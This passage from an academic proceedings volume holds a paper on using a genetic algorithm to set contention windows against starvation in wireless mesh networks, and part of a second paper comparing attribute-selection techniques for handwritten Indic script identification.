and blurring effects using gabor wavelets, DCT neural network, hybrid spatial feature
interdependence matrix. In: 2nd IEEE International Conference on Devices, Circuits and
Systems (2014)
28. Fernandes, S.L., Josemin Bala, G.: Recognizing facial images using ICA, LPP, MACE gabor
filters, score level fusion techniques. In: IEEE International Conference Electronics and
Communication Systems (2014)
29. Fernandes, S.L., Josemin Bala, G., et al.: Robust face recognition in the presence of noises and
blurring effects by fusing appearance based techniques and sparse representation. In: IEEE
International Conference on Advanced Computing, Networking and Security (2013)
30. Fernandes, S.L., Josemin Bala, G., et al.: A comparative study on score level fusion techniques
and MACE gabor filters for face recognition in the presence of noises and blurring effects. In:
IEEE IEEE International Conference on Cloud and Ubiquitous Computing and Emerging
Technologies (2013)
Genetic Algorithmic Approach to Mitigate
Starvation in Wireless Mesh Networks
Potti Balamuralikrishna, M.V. Subramanyam and K. Satya Prasad
Abstract Wireless mesh networks (WMNs) have a set of self-organized and

dynamically self-configurable nodes and each node may act as a router and a host.
The performance of the applications running on the nodes that are more than
one-hop away from the gateway suffers by starvation. Starvation occurs in a situ-
ation that nodes close to the gateway capture the resources (channel) rather than
giving the chance to the nodes situated in longer distance to the gateway. In this
paper, to avoid starvation, a cross-layer technique is employed to identify optimal
contention window (CW) for individual nodes. The size of CW is based on the
network layer quality of service (QoS) parameters and the available channel. In this
work, the scheduling method uses a genetic algorithm (GA) to mitigate the star-
vation by selecting optimal CW. Simulations are conducted using multimedia traffic
and results are compared with the priority-based scheduling method. Performance
of the proposed algorithm is evaluated in terms the parameters such as throughput,
packet delivery ratio, end-to-end delay and number of cache replies used. The
comparison shows that GA optimization to mitigate the starvation works better than
the priority-based starvation avoidance method.

Keywords Wireless mesh networks Starvation Contention window Genetic

algorithm Multimedia traffic Priority-based scheduling method
P. Balamuralikrishna (&) K. Satya Prasad

University College of Engineering, JNTUK, Kakinada, Andhra Pradesh, India
e-mail: pbmk05@gmail.com
K. Satya Prasad
e-mail: prasad_kodati@yahoo.co.in
M.V. Subramanyam
Santhiram Engineering College, Nandyal, Kurnool, Andhra Pradesh, India
e-mail: mvsraj@yahoo.com

480 P. Balamuralikrishna et al.
1 Introduction
Wireless mesh networks (WMNs) [1] have a set of self-organized and dynamically
self-configurable nodes and each node may act as a router and a host. The mesh
connectivity in the network is established and maintained by the network nodes
themselves automatically. All the mesh nodes communicate with each other using
the wireless medium. The mesh architectures comprise of mesh router nodes and
mesh client nodes. A router node has functionality to support mesh networking as
well as repeater/gateway functionality. A client node works also as a router and
support mesh networking but does not have gateway/repeater functions. Wireless
mesh deployments are planned to provide broadband internet connectivity to the
mobile users with low-cost [2]. In the multitier architecture of large-scale mesh
deployments, an access tier connects end users to mesh nodes and a backhaul tier
provides communication with backbone network, which connect to the Internet. In
wireless mesh networks (WMNs) the data traffic traverses through more than one
wireless link in multi-hop fashion to reach the wired backbone network. However,
the fair distribution of bandwidth among users is essential and it should not be
affected by physical location and hop distance from the gateway of the users.
The performance of WMN is severely affected by a problem called starvation.
Starvation occurs in a situation that nodes closer to the gateway access the channel
without giving a chance to nodes situated in longer distance to the gateway. This
unfair utilization of bandwidth is caused by the IEEE 802.11 MAC and the
transmission control protocol (TCP) in the transport layer. Algorithms presented in
[3, 4] were proposed for WMN to mitigate starvation. Some other starvation mit-
igation algorithms are discussed in Sect. 2. In [5], Balamuralikrishna et al. presented
a dynamically weighted round robin approach using packet priority to mitigate the
starvation. Reactive routing protocol AODV was used for routing the data towards
the destination. The packet priority weights were determined during run time using
current QoS parameters while make distribution decisions. Simulation results show
that the route discovery time, the number of discards and the number of retrans-
missions were reduced compared to the static routing method.
In this work, we present a genetic algorithmic approach to mitigate the starvation
in wireless mesh networks. GA is a powerful stochastic search algorithm and used
to find optimal solutions in the huge solution space based on the natural selection
and evaluation concepts. GA uses a population of strings usually referred to as
chromosomes in GA literature. The results of an objective function f are used in
the search space to recombine strings using genetic operators such as crossover and
mutation. In the given population, every string is evaluated by the objective
function f [6]. Strings with higher fitness (representing better solutions) are iden-
tified and given more opportunity to breed for creating the next generation based
on this evaluation. It should be understood that fitness should not be identified
through a simple composition of f (c (s)). It should be in the format of h (f (c (s))),
where h: ℝ ↦ ℝ is a monotonic function.
Genetic Algorithmic Approach to Mitigate … 481
The organization of the paper is as follows. A brief review of the past work
presented to mitigate the problem of unfair utilization of bandwidth among mesh
nodes is presented in Sect. 2. The proposed method is described in Sect. 3 with an
algorithm and a flow chart. Section 4 presents the performance evaluation with
graphical results. Finally, our work is concluded in Sect. 5.
2 Related Work
Lee et al. presented a distributed fair scheduling for WMNs [7]. The available
bandwidth of the network was shared fairly among the nodes without considering
the distance of the nodes from the gateway node of the network. The aggregate
traffic flow of each node in the network was estimated. This aggregate load was
mentioned as node weight and it was always dynamic in WMN. Based on the
current weight of nodes scheduling was done. While scheduling, the weight of a
node was assigned as upstream/downstream link. Simple queuing approach was
enough for uplinks. For downlink scheduling in IEEE 802.11, different contention
windows to meet the priority of nodes were implemented in the distributed coor-
dination function. Simulation using this approach shows that fairness was achieved
with increased aggregate throughput.
Ronasi et al. presented a flow starvation mitigation algorithm for WMNs [8].
WMN designed with linear topology was analyzed by Markov chain model to
calculate the degree of unfairness of nodes. The extent of starvation was limited by
binary exponential back-off algorithm. Nodes recently transmitted the packets
successfully were not allowed to send further packets aggressively. This was
implemented using the contention window for communication between nodes.
The IEEE 802.11 standard was used for communication. Proposed method solved
starvation problem of individual nodes up to seven times, but the overall throughput
of the network was reduced by 20 %.
Nahle and Malouch presented a distributed dynamic contention window algo-
rithm based on contention graphs to enhance capacity and fairness in wireless mesh
networks [9]. Contention graphs were used to represent the traffic bandwidth
demands of the nodes in the network. By systematically computing the capacity and
the number of parallel transmissions in the network, bandwidth was allocated fairly.
Contention windows were used for fair allocations. The algorithm uses distributed
computing and each node maintains information about neighborhood nodes.
OMNET++ was used for simulation and the results show that fairness was
improved to a high degree during bursty traffic.
Mountassir et al. presented a model to address the facility location problem using
multi-objective particle swarm optimization in wireless mesh networks [10].
A multi-objective model was developed to increase the robustness and balance the
load. Four objective functions were developed using the cost of routes, coverage of
nodes, flow capacity and link state capacity. Particle swarm optimization
(PSO) algorithm was used to reach the optimal solution based on the multi-objective
functions. The proposed algorithm was compared with existing algorithms. Numeric
results show that this optimization algorithm gave better throughput and used
low-cost routes for transmission.
Ancillotti et al. presented a novel flow-based routing protocol for the expected
point-to-point elastic traffic in wireless mesh deployments [11]. A new routing
algorithm was proposed to reduce congestion and mitigate the starvation. This
method avoids congestion by omitting the heavily loaded paths. To balance the load
and mitigate the starvation, Pareto optimality was used. This algorithm efficiently
utilized the network resources to solve the unfairness in multi-hop paths. OLSR
routing was used with Pareto optimality. Results show that proposed method
increases throughput and fairness.
Suryawanshi and Nimbhorkar [12] made a review of QoS aware AODV protocol
in WMN. Quality of service (QoS) must be guaranteed in wireless mesh networks
as it is a developing technology to provide high-speed broadband and multimedia
services. AODV was used for path discovery in MANETs and it improves the
routing efficiency by finding the optimal shortest path. An advanced AODV routing
protocol that would guarantee the QoS in wireless mesh networks with the node
authentication schemes had been discussed. Iqbal et al. [13] presented a scheme for
wireless mesh networks that satisfies QoS requirements of multimedia multicast
communication. The QoS scheme was developed as a unidirectional link-aware
multicast extension to AODV (UDL-MAODV) routing protocol. To verify the
functionality of the QoS algorithm, validation tests were carried using SwanMesh
wireless mesh network test bed. The performance of the proposed QoS scheme was
evaluated by simulation tests.
3 Genetic Optimization to Mitigate Starvation
Genetic algorithm (GA) is a global search heuristic used to find near-optimal

solutions in search and optimization problems in computing. This algorithm works
on a random population of individuals for a specified problem. The fitness (quality)
of each individual in the population is evaluated using a fitness function. Based on
this evaluation, the individuals in the population are changed using biological
inspired operators such as inheritance, mutation, selection and crossover to create a
new population. Among these genetic operators, crossover and mutation are the
essential ones. Crossover is used to exchange single bits or groups of bits of two
individuals at selected crossover sites [14]. In most of the problems, one-point
crossover is preferred. Theoretically, we can use up to L-1 different crossover sites
to perform crossover (where L is the length of the individuals). Figure 1 shows the
crossover process with an example.
To perform one-point crossover, two individual bit strings (parents) are selected
and a random point on two parents is chosen as the crossover site. Then the two
parents are split at this crossover site and new offspring individuals (children) are
Fig. 1 Crossover operation
created by exchanging tails. Mutation is used to flip one or more bits of individuals in
the population randomly. Figure 2 explains the mutation process with an example.
The mutation creates new genetic structures that are not related to any previous
genetic structures present in the population by flipping some of the bits of the
individuals thereby helping the algorithm to escape from local minima traps. The
newly created genetic structures relate to other sections of the huge search space.
In enhanced distributed coordination function (EDCF) of IEEE 802.11, services
are differentiated for various traffic categories using different minimum contention
window (CWmin) values, which are maintained at static over duration. Low-priority
traffic, i.e., FTP performance with higher CWmin values is suppressed from two-hop
or multi-hop neighbors, even during the absence of high-priority traffic from
one-hop neighbors and thus generating starvation in two-hop or multi-hop network
nodes. As the number of hops to the gateway increases, the throughput decreases
and the end-to-end delay increases.
In Wireless mesh networks, it is difficult to get global solution for QoS routing
with the traditional algorithms as it is an NP-complete problem. In this paper, it is
proposed to adopt a novel dynamic genetic algorithm (GA) to solve the starvation
problem in unicast routing for wireless mesh networks. This work concentrates on
the functions in the network layer and MAC layer. This cross-layer technique is
employed to identify optimal contention window (CW) for individual nodes which
will avoid the starvation in multi-hop nodes where the size of CW is based on the
network layer QoS parameters and the available channel. The proposed model adds
QoS parameters such as number of hops to the gateway, packet loss rate and delay
in the network layer to compute the size of contention window for individual nodes.
Fig. 2 Mutation process
To improve the QoS, it is necessary to find the optimal route from source to
gateway in the transport layer, followed by optimal CW at the MAC layer of the
nodes such that starvation does not occur to nodes which are more than one-hop
away. The optimal CW for individual nodes is computed using genetic algorithm.
For a given scenario, there are many routes for data transmission from source to
gateway. A random set of routes is selected and GA operation is applied to it. By
the network evaluation using the fitness function, the best route is selected. Once
the best route is selected, the next task is to find the best contention window values
for the individual nodes. Each node from source to destination is given a random
CW value and the network is evaluated using the fitness function. Only chromo-
somes having lower values for multi-hop neighbors and higher values for one-hop
nodes will have a lower packet loss rate. Figure 3 shows the flow chart of the
proposed algorithm.
Fig. 3 Flow chart of the

Start
proposed algorithm
Initialize the population

by assigning the CWmin for
all the prioritized traffics
randomly
Evaluate the size of

CWmin for each traffic by
using the fitness function
Is Yes
termination End
met?
No
Selection of traffic types
Perform crossover and

mutation to adjust the CW
size based on QoS
parameters of traffic types
Selection of the best

CWmin for individual traffic
based on evaluation by the
fitness function
In this approach, the genetic parameters used are single point crossover and
uniform mutation with probability of 0.1. The encoding was done using IEEE 754
with a Roulette wheel encoder mechanism to select the chromosomes. This varying
size of contention window with genetic algorithm is used in DCF of the IEEE
802.11 protocol. The chromosomes are represented by three components, namely,
number of hops, which is encoded using 4 bits, packet loss rate and end-to-end
delay for a route from source to the gateway. The IEEE 754 format is used to
represent packet loss rate and end-to-end delay.
3.1 Pseudo Code for the Proposed Algorithm
Based on the methodology and the proposed algorithm, a simulation scenario has
been created using Opnet simulation tool. Simulation is conducted to understand
the effect of genetic algorithm for fair allocation of channel bandwidth using
multimedia traffic with random TCP flows. AODV is the routing protocol used for
the network. The objective function for GA is to improve the throughput of the
network and to reduce the packet loss rate. Table 1 shows the simulation setup. In
the proposed algorithm, the input data are given as the parameter values such as
number of hops, packet loss rate and end-to-end delay. The size of population,
number of iterations, rate of crossover and mutation are initiated at 10, 250, 0.5, and
0.75 respectively. Simulation is conducted for the duration of 180 s and the per-
formance of the proposed method is compared with pure packet priority-based
dynamic weighted round robin approach [5] to mitigate starvation in terms of
throughput, packet delivery ratio, end-to-end delay and number of cache replies
used.
As the proposed method optimizes the contention window value for each node in
the network, it will effectively reduce the congestion at nodes in transmitting the
packets thereby increases the number of successful transmissions. Figure 4 shows
that proposed GA approach increases the overall throughput of the network by
21.12 % than priority-based starvation avoidance method.
Table 1 Simulation setup

Number of nodes 20
Number of gateways 1
Area 4 km × 4 km
Traffic Multimedia with random TCP flows
Routing protocol AODV routing with proposed GA optimization
Simulation time 180 s
Throughput
Throughput (bits/sec)
3500000
3000000
2500000
2000000
1500000
1000000
148 151.2 154.4 157.6 160.8 164 167.2 170.4 173.6 176.8 180
Simulation Time
Throughput - Priority Throughput - GA optimized
Fig. 4 Throughput comparison of the proposed method with packet priority approach
Figure 5 shows the Packet delivery ratio performance of the GA-optimized

starvation avoidance method in comparison with Priority-based starvation avoid-
ance method. The significant improvement in packet delivery ratio with the pro-
posed method affirms the less number of packet drops because of efficient
utilization of bandwidth.
The proposed method is optimized to avoid the starvation in nodes that are
situated more than one-hop away from the gateway. This will effectively open up
the possibilities for the starved nodes to get the channel access to make their
transmissions. In this endeavor of fair distribution of bandwidth among users, the
end-to-end delay in the network increases as shown in Fig. 6. This creates a lot of
scope for the future work to reduce the delay without affecting the good throughput
and packet delivery ratio performances.
Figure 7 shows that the proposed GA approach uses more number of cache
replies for the route discovery process than priority-based method. The proposed
GA approach increases the cache replies used by considering the average as
67.25 % than priority-based starvation avoidance method. Though the proposed GA
achieves improved throughput, the end-to-end delay is higher.
Packet Delivery Ratio

Packet Delivery Ratio
0.97
0.92
0.87
0.82
148 151.2 154.4 157.6 160.8 164 167.2 170.4 173.6 176.8 180
Simulation Time
PDR - Priority PDR - GA optimized
Fig. 5 Packet delivery ratio performance
End - to - end delay

End - to - end delay
8
6
4
2
0
148 151.2 154.4 157.6 160.8 164 167.2 170.4 173.6 176.8 180
Simulation Time
Delay - Priority Delay - GA optimized
Fig. 6 End-to-end delay performance
Cached replies used
Cached replies sent

1200
1000
800
600
400
200
0
148 151.2 154.4 157.6 160.8 164 167.2 170.4 173.6 176.8 180
Simulation time
Cache replies - Priority Cache replies - GA optimized
Fig. 7 The number of cache replies used
5 Conclusion
In this paper, it is proposed to adopt a novel dynamic genetic algorithm to solve the
starvation problem in unicast routing for wireless mesh networks in the network
layer and MAC layer. The proposed model adds QoS parameters such as node
density, number of hops to the gateway, packet loss rate and delay in the network
layer to compute the size of CW for the nodes. Based on the QoS needed for the
application, different contention window size is selected for the individual nodes by
GA thereby avoid the starvation for nodes that are more than one-hop away from
the gateway. Simulations are conducted using multimedia traffic and the results are
compared with priority-based starvation avoidance method. Performance is com-
pared in terms the parameters throughput, packet delivery ratio, end-to-end delay
and number of cache replies used. The comparison shows that GA-optimized
starvation avoidance method increases the throughput and improves the packet
delivery ratio than the priority-based method. But the end-to-end delay is increasing
than the priority-based method to satisfy the needs of quality of service.
With increased processor speed available across mobile devices, it has become
practical to implement heuristic-based algorithms leading to improved mitigation to
overcome the starvation problem. Genetic algorithm is known to converge slowly
compared to other optimization techniques. However, GA is the best global search
algorithm. Further research can be carried out in the direction of hybrid algorithm
which will converge at a faster rate.
References
1. Akyildiz, I.F., Wang, X., Wang, W.: Wireless mesh networks: a survey. Comput. Netw. 47,
445–487 (2005)
2. Gurewitz, O., Mancuso, V., Shi, J., Knightly, E.W.: Measurement and modeling of the origins
of starvation of congestion—controlled flows in wireless mesh networks. IEEE/ACM Trans.
Netw. 17(6), 1832–1845 (2009)
3. Lukyanenko, A., Gurtov, A., Morozov, E.: An adaptive backoff protocol with Markovian
contention window control. Commun. Stat. Simul. Comput. 41(7), 1093–1106 (2012)
4. Mansoor Rahaman, S.K., Ramesh Babu, B., Venkaiah Naidu, A., Rajasekhara Rao, K.: A new
starvation mitigation algorithm (SMA) for wireless mesh networks. Int. J. Comput. Sci.
Technol. 3(1) 2012
5. Balamuralikrishna, P., Subramanyam, M.V., Satya Prasad, K.: A packet priority approach to
mitigate starvation in wireless mesh network with multimedia traffic. Int. J. Comput. Appl. 62
(14), 0975–8887 (2013)
6. Colin, R.R.: Genetic algorithms. Int. Ser. Oper. Res. Manage. Sci. Springer (2010)
7. Lee, J., Yoon, H., Yeom, I.: Distributed fair scheduling for wireless mesh networks using
IEEE 802.11. IEEE Trans. Veh. Technol. 59(9), 4467–4475 (2010)
8. Ronasi, K., Gopalakrishnan, S., Wong, V.: Flow Starvation Mitigation for Wireless Mesh
Networks. Department of Electrical and Computer Engineering, University of British
Columbia, Vancouver, IEEE WCNC (2009)
9. Nahle, S., Malouch, N.: Graph-based approach for enhancing capacity and fairness in wireless
mesh networks. IEEE GLOBECOM, 1–7 (2009)
10. Mountassir, T., Nassereddine, B., Haqiq, A., Bennani, S.: Multi-objective particle swarm
optimization for facility location problem in wireless mesh networks. IJCSI Int. J. Comput.
Sci. Issues 10(2) (2013)
11. Ancillotti, E., Bruno, R., Conti, M.: An efficient routing protocol for point-to-point elastic
traffic in wireless mesh networks. In: World of Wireless, Mobile and Multimedia Networks
(WoWMoM), 2011 IEEE International Symposium, (pp. 1–6). June 2011
12. Suryawanshi, R., Nimbhorkar, S.U.: Review on QoS aware improved AODV routing protocol
in wireless mesh network. IEEE, pp. 61–616 (2013)
13. Iqbal, M., Wang, X., Li, S., Ellis, T.: QoS scheme for multimedia multicast communications
over wireless mesh networks. IET Commun. 4(11), 1312–1324 (2010)
14. Goodman, E.D.: Introduction to genetic algorithms. In: GECCO Comp’14 Proceedings of the
2014 Conference Companion on Genetic and Evolutionary Computation Companion,
pp. 205–226. ACM (2014)
Handwritten Indic Script Identification
from Document Images—A Statistical
Comparison of Different Attribute
Selection Techniques in Multi-classifier
Environment
Sk Md Obaidullah, Chayan Halder, Nibaran Das and Kaushik Roy
Abstract Script identification from document images is an essential task before

choosing script-specific OCR for a Multi-lingual/Multi-script country like India.
The problem becomes more complex when handwritten document images are
considered. Several techniques have been developed so far for HSI (Handwritten
Script Identification) problem and the work is still in progress. But the issue of
dimensionality reduction of the feature set for script identification problem has not
been addressed in the literature till date. This paper presents a statistical perfor-
mance analysis of different attribute selection techniques in a multi-classifier
environment for HSI problem on Indic scripts. A GAS (Greedy Attribute Selection)
technique for HSI problem has also been proposed here. Encouraging outcomes are
found observing the complexities of handwritten Indic scripts.
Keywords Handwritten script identification

Greedy attribute selection

Performance analysis Average accuracy rate Model building time
S.M. Obaidullah (&)

Department of Computer Science & Engineering, Aliah University,
Kolkata, W.B, India
e-mail: sk.obaidullah@gmail.com
C. Halder K. Roy
Department of Computer Science, West Bengal State University,
Barasat, W.B, India
e-mail: chayan.halderz@gmail.com
K. Roy
e-mail: kaushik.mrg@gmail.com
N. Das
Department of Computer Science and Engineering, Jadavpur University,
Kolkata, W.B, India
e-mail: nibaran@gmail.com

492 S.M. Obaidullah et al.
1 Introduction
India is a multi-lingual/multi-script country having 23 official languages (including

English) and 13 scripts (including Roman) are used to write them [1, 2]. Automatic
script identification from document images is an essential step before choosing
script-specific OCR. Researchers of Document image processing communities have
been trying hard to achieve this automation process in terms of accuracy and faster
performance. State-of-the-art researches on Indic script identification are not yet
able to provide complete solution for all Indic scripts. In general, script identifi-
cation techniques are categorized into two types namely PSI (Printed Script
Identification) and HSI (Handwritten Script Identification) problem depending on
the type of the supplied input image. The algorithms suitable for PSI problem may
not perform well for HSI one due to the dynamic nature of handwritten documents
in terms of inter/intra-line, word, character spacing and alignment. Based on the
way of feature extraction from the input images, both the PSI and HSI techniques
can be further categorized into two types namely Global and Local approach. These
approaches are applied on the input document images at Page/Block/Line/Word and
Character-level. When a single page is written by using only one script then
Page-level approach is suitable, but in all other cases segmentation of the whole
image into Blocks/Lines/Words/Characters is a must. In literature many works have
been reported on Page/Line/Word-level but very limited numbers on Block-level,
which encourage us to carry out the present work. Here, unconstrained handwritten
image blocks generated by an automated segmentation technique from six official
Indic scripts namely Bangla, Devanagari, Malayalam, Oriya, Roman, and Urdu are
considered for experimentation.
Majority of Indic script identification techniques reported in the literature are
based on PSI category [3–9]. The available works on HSI techniques as reported are
comparatively low [10–14]. But in both of these categories, the main idea is only
feature extraction but not subset selection. It may be noted that after employing
global or local feature extraction techniques, a feature set may contain some
redundant features or attributes. Therefore, attribute selection is very important for
reduction of execution time without reducing the accuracy of the system. But, to the
best of our knowledge, attribute selection of script identification problem domain
has not been taken into consideration by the researchers till date. That is why a
comparative analysis of different attributes selection techniques for real-life HSI
problem has been proposed here and their performances are analyzed in
multi-classifier environment. It is to be mentioned here that throughout this paper
the two terms ‘feature selection’ and ‘attribute selection’ are used interchangeably.
Handwritten Indic Script Identification from Document Images … 493
Proposed methodology includes preprocessing and feature extraction which have

been discussed in the following section.
2.1 Preprocessing
Preprocessing includes digitization, segmentation, and conversion of the segmented

blocks into binary images. Primarily, documents are digitized by using a HP flatbed
scanner at 300 dpi. An automatic ROI (Region Of Interest)-based segmentation
technique has been developed to extract 512 × 512 unconstrained blocks from
Page-level images. Measures were taken to remove those blocks whose dimensions
are less than the pre-specified threshold limit. No normalization technique (padding
zero type of operation is not done to remove the broken/partial grapheme com-
ponents) was applied on these blocks to observe the effectiveness of the proposed
system on real scenario (when segmentation algorithm will generate arbitrary image
blocks from real-life document images). Initially, all these blocks are stored at gray
level.jpg format. To convert them into binary form, an existing two-stage-based
hybrid binarization technique is applied [10, 11]. The advantage of this
two-stage-based technique over only local/global algorithm is that the binary output
image will be at least as good as if only global binarization method would have
been used.
During feature extraction, the image blocks are analyzed in the frequency domain
by applying different transform-based techniques namely Discrete Cosine
Transform, Radon Transform, Fast Fourier Transform, and Distance Transform
[12]. Then local entropy, their standard deviation, and minimum, maximum coef-
ficients are computed on the transformed domain images. Finally, a feature vector
of 34 dimensions has been constructed.
Proposed Algorithm:
Step 1: Gray scale page-level images are considered and automatically segmented
by applying a ROI-based technique to generate 512 × 512 unconstrained image
blocks.
Step 2: Entropy of the gray scale image block is computed and its standard devi-
ation is also calculated. Among the texture features, GLCM (Gary Level
Co-occurrence Matrix) with right neighborhood pixel is calculated.
Step 3: DCT (Discrete Cosine Transform) of the binary image is computed and from
the frequency domain spectrum its local entropy, standard deviation, minimum, and
maximum DCT coefficient values are computed.
Step 4: RT (Radon Transform) of the binary image is computed for a rotation angle
0 to 180º. Similar to Step 3 from the frequency domain spectrum of RT image its
local entropy, standard deviation, minimum, and maximum RT coefficient values
are computed.
Step 5: FFT (Fast Fourier Transform) of the binary image is computed and on the
frequency domain spectrum, similar to Step 3 and 4 are followed.
Step 6: DT (Distance Transform) with four different distance metrics namely
Euclidean, Chessboard, City Block, and Quasi Euclidean are computed on the
binary image and afterwards similar to Step 3 and 4 are followed.
Step 7: Steps 2–6 are repeated for each of the 600 image blocks and finally a feature
vector of 34 dimensions has been constructed.
3 Experimental Details
Experimentation includes data preparation, selection of suitable protocol from

training and testing, attribute selection, classification, and finally analysis of the
results.
3.1 Data Collection
Data collection is one of the most imperative and time-consuming tasks for any
experimental work. To incorporate maximum realness within the collected data,
help was taken from different people with varying age, sex, educational qualifica-
tion, etc. First, Page-level handwritten documents of the Six-scripts are collected.
Then, they are digitized and segmented to generate dataset of 600 unconstrained
image blocks of size 512 × 512 each.
3.2 Experimental Protocol
The learning process of distinguishable properties for each of the target class is
initiated by the training phase. The dissimilarity measure of the classes is evaluated
during the test phase. Generation of training and test set data is a very important
step for any classification scheme. Present work divides whole dataset into training
and test sets in 2:1 ratio i.e. 66.7 % for traning and 33.3 % for testing. Outcome of
the test phase has been discussed in the following section.
3.3 Attribute Selection and Classification Techniques
Performances of different attribute selection techniques have been analyzed in

multi-classifier environment for a real-life handwritten script identification problem.
Performances of eight different attribute selection techniques are compared using
five well-known classifiers [9, 13] with respect to AAR (Average Accuracy Rate)
(%) and MBT (Model Building Time) (s). The attribute selection techniques are
discussed briefly in the following section.
• BFS (Best First Search)
Here, the entire search space of attribute subsets is searched by a greedy
backtracking hill climbing approach. Three possible search options are available
which are as follows: (i) Starting with zero attribute and moving towards for-
ward direction, (ii) Starting with all the attribute values and searching towards
backward direction, and (iii) Starting with any arbitrary start point and searching
in both directions [13]. We have experimented with option (i) with other default
parameters and out of 34 initial features, a total of 10 attributes are selected to be
the best.
• ES (Evolutionary Search)
Evolutionary Search is a biologically inspired direct search technique which
uses the concept of Evolutionary Algorithm [12, 13]. The concept of Mutation,
Recombination, and Selection is used here to a population of individuals con-
taining candidate solutions. This is an iterative process which finally generates
an encouraging solution. This technique implements a (µ, λ)-EA algorithm (µ is
the number of parents and λ is the number of offspring) with the operators like
Uniform Random Initialization, Binary Tournament Selection, Single Point
Crossover, Bit Flip Mutation and Generational Replacement with Elitism
(means the best individual is always kept). These parameters are set experi-
mentally for the present work. Finally, 12 attributes are selected out of 34
original candidates using ES technique.
• GS (Genetic Search)
This search technique performs a search using the simple GA or genetic algo-
rithm proposed by Goldberg [15]. Different parameters used by GS technique
are crossover probability, number of generations, probability of mutation
occurring, population size, seed, and starting search point. All these values are
set experimentally for the present work [13]. Finally out of 34 attributes 10 are
selected in the best GS set.
• GSS (Greedy Stepwise Search)
Here, a greedy forward or backward search technique is performed through the
attribute subsets. The process starts with different options like no/all attributes or
from an arbitrary point in the original set. The search process continues until the
inclusion/exclusion of any remaining attribute which may cause decrease in the
evaluation performances [13]. The Greedy Stepwise technique found 10 attri-
butes in the best set from original 34 attribute set.
• LFSS (Linear Forward Selection Search)

This technique is a modified version of Best First Search algorithm. Detail
information can be found from [16]. In the present experiment, the search
process started with zero attribute, forward direction, decayed the search after
five node expansions over a fixed set and a total of 447 subsets are evaluated to
produce a final attribute subset of size 10.
• PSOS (Particle Swarm Optimization Search)
PSO Search explores the attribute space using the Particle Swarm Optimization
(PSO) algorithm [13, 17]. The parameters considered for the present experiment
are as follows: start set, population size, number of iterations, mutation type,
mutation probability, inertia weight, social weight, individual weight, report
frequency, and seed. These values are set experimentally and finally 9 attributes
are selected out of 34 by this technique.
• RS (Rank Search)
Here, all the attributes are ranked based on a particular evaluation function. If a
subset evaluator is specified prior, then a FSS or forward selection search is
performed to generate a list of ranked attributes. From this list of ranked attri-
butes, subsets of increasing size are evaluated. It means the best attribute, the
best attribute plus the next best attribute are selected and so on. Finally the best
attribute set is reported iteratively [18]. Total 20 best attributes are selected out
of 34 original attributes for present experiment.
• GAS (Greedy Attribute Selection): Proposed Technique
For the present work, 34-dimensional feature set has been generated by applying
different feature computation techniques as mentioned in Sect. 2. Afterwards a
GAS (Greedy Attribute Selection) technique is applied to obtain the final feature
set.
• Let the original attribute set A = {A1, A2, … A34}, where each of Ai for i = 1,
2, 3, ... , 34 contains Rj rows for j = 1, 2, 3, ... , N. For present work N = 600.
• From each of Ai, find the number of occurrence of each attribute value,
which is denoted as Ai(Ri).
• In ideal situation for a sample Ai, the number of occurrence of Ai(Ri) will be
at most I, where I is the maximum number of input instances for a single
class. Now, we set an experimental threshold value which is determined by
th = (t1/t2)*N, where t1 is 50 % target class, t2 is the total number of class,
which is 6 in our case and N is total number of inputs. It means that at least
three different scripts produce similar results for a particular feature type. For
the present work, the value of t on the present Ai and N will be 300.
• Finally all the Ai with Ai(Ri) > = th are removed and rest are added to the final
feature vector V. A 20-dimensional feature vector is generated by GAS
technique which is used to train the system.
3.4 Statistical Performance Analysis
Performance of different attribute selection techniques is analyzed in

multi-classifier environment for the present work. Two important parameters
namely AAR and MBT are considered as performance evaluation metric. AAR is
calculated based on the True Positive rate and MBT is calculated based on the
time (s) taken to train the system on 66.7 % training samples. Table 1 shows the
performance of all the attribute selection method based on AAR for Six-scripts
combination. The performance of Tri-scripts and Bi-scripts combinations which
are very relevant in real-life scenario are not shown here due to space limitation
and the same is left as future scope. From Table 1, it can be found that the
tree-based (LMT) and functional (MLP) classifiers perform best among the five.
While comparing the attribute selection techniques, the performance of
Evolutionary Search is best among all (86.3 % using LMT) followed by GAS
(proposed), Rank Search, PSO Search, Genetic Search, and so on. The proposed
GAS technique performs best among all using MLP classifier followed by
Evolutionary Search and Rank Search. Table 2 shows the performance chart of all
Table 1 Comparison of different attribute selection techniques in multi-classifier environment

with respect to AAR (Average Accuracy Rate) (%) for Six-scripts combination
Attribute versus classifier BayesNet LIBLinear LMT MLP PART
BFS (Best First Search) 71.1 76 78 78.5 78.5
ES (Evolutionary Search) 69.7 76.5 86.3 80.1 82.8
GS (Genetic Search) 71.6 72.6 81.4 78 78
GSS (Greedy Stepwise Search) 71.1 76 78 78.5 78.5
LFSS (Linear Forward Selection Search) 71.1 76 78 78.5 78.5
PSOS (Particle Swarm Optimization Search) 70.1 75 83.9 79 77.5
RS (Rank Search) 70.1 76 84.4 80 77.5
GAS (Greedy Attribute Search)—Proposed 66.7 75 84.9 81.9 75
Table 2 Comparison of different attribute selection techniques in multi-classifier environment

with respect to MBT (Model Building Time) (s) for Six-scripts combination
Attribute versus classifier BayesNet LIBLinear LMT MLP PART
BFS (Best First Search) 0.06 0.09 2.44 3.26 0.11
ES (Evolutionary Search) 0.02 0.1 3.99 3.68 0.09
GS (Genetic Search) 0.02 0.13 4.14 3.14 0.09
GSS (Greedy Stepwise Search) 0.02 0.07 2.29 3.12 0.09
LFSS (Linear Forward Selection Search) 0.02 0.06 2.27 3.2 0.08
PSOS (Particle Swarm Optimization Search) 0.02 0.06 3.2 2.72 0.06
RS (Rank Search) 0.03 0.18 5.44 6.1 0.12
GAS (Greedy Attribute Search)—Proposed 0.05 0.02 7.8 6.91 0.13
these attribute selection techniques in terms of MBT which is measured by cal-

culating the time required to train 66.7 % samples by the particular classifier.
Figures 1 and 2 show the graphical representation of Tables 1 and 2, respec-
tively. While choosing a particular classifier for a particular attribute selection
technique, a trade-off between AAR and MBT must be taken into consideration.
Fig. 1 Graphical representation of the performance of different attribute selection techniques in

multi-classifier environment with respect to Six-scripts AAR (%)
Fig. 2 Graphical representation of the performance of different attribute selection techniques in

multi-classifier environment with respect to Six-scripts MBT (s)
4 Conclusion and Future Scope
In this paper, statistical performance of different well-known attribute selection

techniques is analyzed in multi-classifier environment with respect to two important
parameters namely AAR and MBT. A feature selection technique namely GAS
(Greedy Attribute Selection) has been proposed for the present HSI problem on six
Indic scripts. Experimental result also shows encouraging performance and
requirement of a trade-off between AAR and MBT while choosing appropriate
attribute selection technique and classifier for a particular HSI problem. Future
